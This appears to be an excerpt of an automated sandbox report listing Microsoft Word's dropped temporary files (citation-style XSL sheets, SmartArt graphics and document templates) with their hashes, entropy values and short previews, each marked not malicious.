Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Local\Temp\TCDE88B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5502940710609354
Encrypted:	false
SSDEEP:	6:fxnxUXfQICl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXClNGHmD0wbnKYZAH/lMZqiv
MD5:	9B8D7EFE8A69E41CDC2439C38FE59FAF
SHA1:	034D46BEC5E38E20E56DD905E2CA2F25AF947ED1
SHA-256:	70042F1285C3CD91DDE8D4A424A5948AE8F1551495D8AF4612D59709BEF69DF2
SHA-512:	E50BB0C68A33D35F04C75F05AD4598834FEC7279140B1BB0847FF39D749591B8F2A0C94DA4897AAF6C33C50C1D583A836B0376015851910A77604F8396C7EF3C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE88B.tmp\iso690.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDE89C.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	3.5414485333689694
Encrypted:	false
SSDEEP:	6:fxnxUX8FaE3f8AWqlQqr++lcWimqnKOE3QepmlJ0+3FbnKfZObdADryMluxHZypo:fxnyj9AWI+acgq9GHmD0wbnKYZAH/lMf
MD5:	2F7A8FE4E5046175500AFFA228F99576
SHA1:	8A3DE74981D7917E6CE1198A3C8E35C7E2100F43
SHA-256:	1495B4EC56B371148EA195D790562E5621FDBF163CDD8A5F3C119F8CA3BD2363
SHA-512:	4B8FBB692D91D88B584E46C2F01BDE0C05DCD5D2FF073D83331586FB3D201EACD777D48DB3751E534E22115AA1C3C30392D0D642B3122F21EF10E3EE6EA3BE82
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.e.x.t. .S.i.d.e.b.a.r. .(.A.n.n.u.a.l. .R.e.p.o.r.t. .R.e.d. .a.n.d. .B.l.a.c.k. .d.e.s.i.g.n.)...d.o.c.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE89C.tmp\Text Sidebar (Annual Report Red and Black design).docx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Local\Temp\TCDE89D.tmp\CircleProcess.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Local\Temp\TCDE89D.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4720677950594836
Encrypted:	false
SSDEEP:	6:fxnxUXOu9+MlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnycMlWlzGHmD0+dAH/luWvv
MD5:	D04EC08EFE18D1611BDB9A5EC0CC00B1
SHA1:	668FF6DFE64D5306220341FC2C1353199D122932
SHA-256:	FA60500F951AFAF8FFDB6D1828456D60004AE1558E8E1364ADC6ECB59F5450C9
SHA-512:	97EBCCAF64FA33238B7CFC0A6D853EFB050D877E21EE87A78E17698F0BB38382FCE7F6C4D97D550276BD6B133D3099ECAB9CFCD739F31BFE545F4930D896EEC3
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.l.e.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE8D0.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5081874837369886
Encrypted:	false
SSDEEP:	6:fxnxUXCOzi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnydONGHmD0wbnKYZAH/lMZqiv
MD5:	8D9B02CC69FA40564E6C781A9CC9E626
SHA1:	352469A1ABB8DA1DC550D7E27924E552B0D39204
SHA-256:	1D4483830710EF4A2CC173C3514A9F4B0ACA6C44DB22729B7BE074D18C625BAE
SHA-512:	8B7DB2AB339DD8085104855F847C48970C2DD32ADB0B8EEA134A64C5CC7DE772615F85D057F4357703B65166C8CF0C06F4F6FD3E60FFC80DA3DD34B16D5B1281
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.n.a.m.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE8D0.tmp\gostname.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Local\Temp\TCDE8E3.tmp\APASixthEditionOfficeOnline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Local\Temp\TCDE8E3.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.541819892045459
Encrypted:	false
SSDEEP:	6:fxnxUXuqRDA5McaQVTi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxny+AASZQoNGHmD0wbnKYZAH/lMZqiv
MD5:	C3216C3FC73A4B3FFFE7ED67153AB7B5
SHA1:	F20E4D33BABE978BE6A6925964C57D6E6EF1A92E
SHA-256:	7CF1D6A4F0BE5E6184F59BFB1304509F38E480B59A3B091DBDC43B052D2137CB
SHA-512:	D3B78BE6E7633FF943F5E34063B5EFA4AF239CD49F437227FC7575F6CC65C497B7D6F6A979EA065065BEAF257CB368560B5462542692286052B5C7E5C01755BC
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .A.P.A.S.i.x.t.h.E.d.i.t.i.o.n.O.f.f.i.c.e.O.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE8F5.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5161159456784024
Encrypted:	false
SSDEEP:	6:fxnxUX+l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyulNGHmD0wbnKYZAH/lMZqiv
MD5:	C15EB3F4306EBF75D1E7C3C9382DEECC
SHA1:	A3F9684794FFD59151A80F97770D4A79F1D030A6
SHA-256:	23C262DF3AEACB125E88C8FFB7DBF56FD23F66E0D476AFD842A68DDE69658C7F
SHA-512:	ACDF7D69A815C42223FD6300179A991A379F7166EFAABEE41A3995FB2030CD41D8BCD46B566B56D1DFBAE8557AFA1D9FD55143900A506FA733DE9DA5D73389D6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .t.u.r.a.b.i.a.n...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE8F5.tmp\turabian.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Local\Temp\TCDE917.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	238
Entropy (8bit):	3.472155835869843
Encrypted:	false
SSDEEP:	6:fxnxUXGE2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny4GHmD0+dAH/luWvv
MD5:	2240CF2315F2EB448CEA6E9CE21B5AC5
SHA1:	46332668E2169E86760CBD975FF6FA9DB5274F43
SHA-256:	0F7D0BD5A8CED523CFF4F99D7854C0EE007F5793FA9E1BA1CD933B0894BFBD0D
SHA-512:	10BA73FF861112590BF135F4B337346F9D4ACEB10798E15DC5976671E345BC29AC8527C6052FEC86AA7058E06D1E49052E49D7BCF24A01DB259B5902DB091182
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .r.i.n.g.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE917.tmp\rings.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Local\Temp\TCDE918.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.464918006641019
Encrypted:	false
SSDEEP:	6:fxnxUXR+EqRGRnRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyB+5RmRGHmD0wbnKYZAH+Vwv
MD5:	93149E194021B37162FD86684ED22401
SHA1:	1B31CAEBE1BBFA529092BE834D3B4AD315A6F8F1
SHA-256:	50BE99A154A6F632D49B04FCEE6BCA4D6B3B4B7C1377A31CE9FB45C462D697B2
SHA-512:	410A7295D470EC85015720B2B4AC592A472ED70A04103D200FA6874BEA6A423AF24766E98E5ACAA3A1DBC32C44E8790E25D4611CD6C0DBFFFE8219D53F33ACA7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.q.u.a.t.i.o.n.s...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCDE918.tmp\Equations.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Local\Temp\TCDE929.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.438490642908344
Encrypted:	false
SSDEEP:	6:fxnxUXZlaWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyplagN2RGHmD0wbnKYZAH+Vwv
MD5:	0F98498818DC28E82597356E2650773C
SHA1:	1995660972A978D17BC483FCB5EE6D15E7058046
SHA-256:	4587CA0B2A60728FF0A5B8E87D35BF6C6FDF396747E13436EC856612AC1C6288
SHA-512:	768562F20CFE15001902CCE23D712C7439721ECA6E48DDDCF8BFF4E7F12A3BC60B99C274CBADD0128EEA1231DB19808BAA878E825497F3860C381914C21B46FF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.l.e.m.e.n.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCDE929.tmp\Element design set.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
